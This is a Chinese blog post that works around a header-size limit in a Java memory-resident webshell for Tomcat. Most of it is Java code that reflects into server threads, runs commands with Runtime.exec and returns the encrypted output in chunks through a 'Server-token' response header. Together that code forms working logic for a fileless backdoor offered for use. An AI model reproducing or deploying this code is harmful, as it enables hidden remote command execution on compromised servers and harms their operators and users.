前言
之前的内存马测试过程中曾出现回显字符串长度超过header头max-size的问题,本文算是做一个简单的解决方案。
正文
概念
volatile 是 Java 中的关键字,是一个变量修饰符,被用来修饰会被不同线程访问和修改的变量。
实现
修改内存马中的逻辑,在get cmd的操作处增加一层逻辑用于判断当前是执行命令还是读取回显。
思路很简单,直接见代码:
`......``   `   `public void getResponse(byte[] res) {`                        `try {`                            `Thread[] threads = (Thread[]) ((Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads"));``   `                            `for (Thread thread : threads) {`                                `if (thread != null) {`                                    `String threadName = thread.getName();`                                    `if (!threadName.contains("exec") && threadName.contains("Acceptor")) {`                                        `Object target = getField(thread, "target");`                                        `if (target instanceof Runnable) {`                                            `try {``   `                                                `ArrayList objects = (ArrayList) getField(getField(getField(getField(target, "this$0"), "handler"), "global"), "processors");`                                                `for (Object tmp_object : objects) {`                                                    `try {`                                                        `RequestInfo request = (RequestInfo) tmp_object;`                                                        `Response response = (Response) getField(getField(request, "req"), "response");`                                                        `String a = new String(res, "UTF-8");`                                                        `response.addHeader("Server-token", a);`                                                        `Http11OutputBuffer buffer = (Http11OutputBuffer) getField(response, "outputBuffer");`                                                        `System.out.print("buffer add");`                                                        `return;`                                                         `} catch (Exception e) {`                                                        `continue;`                                                    `}`                                                `}`                                            `} catch (Exception var11) {`                                                `continue;`                                            `}``   `                                        `}`                                    `}`                                `}`                            `}`                        `} catch (Exception ignored) {`                        `}`                    `}``   ``   `    `public String GetRes(ByteBuffer buffer){//从buffer中读取回显`            `int ResponseSize = 3000;//可从线程中获取header buffer的max-size来作为窗口大小,以加快读取速度。``   `            `try {`                `byte[] a = new byte[ResponseSize];`                `buffer.get(a);``   `                `if(a[0] == 0){`                    `return "";`                `}``   `                `if(new String(a).indexOf(0) != -1){`                    `Arrays.fill(buffer.array(),(byte)0);`                    `buffer.position(0);`                    `return new String(a);`                `}``   `                `return new String(a);``//                                }``//                            }`            `} catch (Exception ignored) {`            `}`            `return "";`       `}``   `      `public void PutResponse(String a , ByteBuffer buffer) {//将回显存入buffer`           `try {`                  `Arrays.fill(buffer.array(),(byte)0);`                  `buffer.position(0);`                  `buffer.put(a.getBytes());`                  `buffer.position(0);`                  `return;`               `} catch (Exception ignored) {`               `}`               `return;`       `}``   ``......``   ``//对应内存马主逻辑修改`     `String cmd = getRequest2();`            `if (cmd.length()>0) {`                `if(!cmd.startsWith("getting")){`                `try {`                    `Runtime rt = Runtime.getRuntime();`                    `Process process = rt.exec(cmd);`                    `java.io.InputStream in = process.getInputStream();``   `                    `java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);`                    `java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);`                    `String s = "";`                    `String tmp = "";`                    `while ((tmp = stdInput.readLine()) != null) {`                        `s += tmp;`                    `}`                    `if (s != "") {``//                        byte[] res = s.getBytes(StandardCharsets.UTF_8);`                        `PutResponse(encode(DEFAULT_SECRET_KEY,s),resbuffer);`                        `getResponse("done!");`                    `}``   `                `} catch (IOException e) {`                    `e.printStackTrace();`                `}`            `}`                `else {`                    `String a = GetRes(resbuffer);`                    `getResponse(a);`                `}`            `}``   ``   `            `this.execute(command, 0L, TimeUnit.MILLISECONDS);`
效果如下:
读取完成:
将获取的字符串拼接后解密:
后记
代码写的很粗糙,因为本身非java出身,相关的buffer读写让我很头疼,花了一下午赶工出来的代码,主要是想分享一下思路。
整体只是一个问题的临时解决方案,基于内存马或者其他用途,感觉也可用在某些request请求头过大的场景中。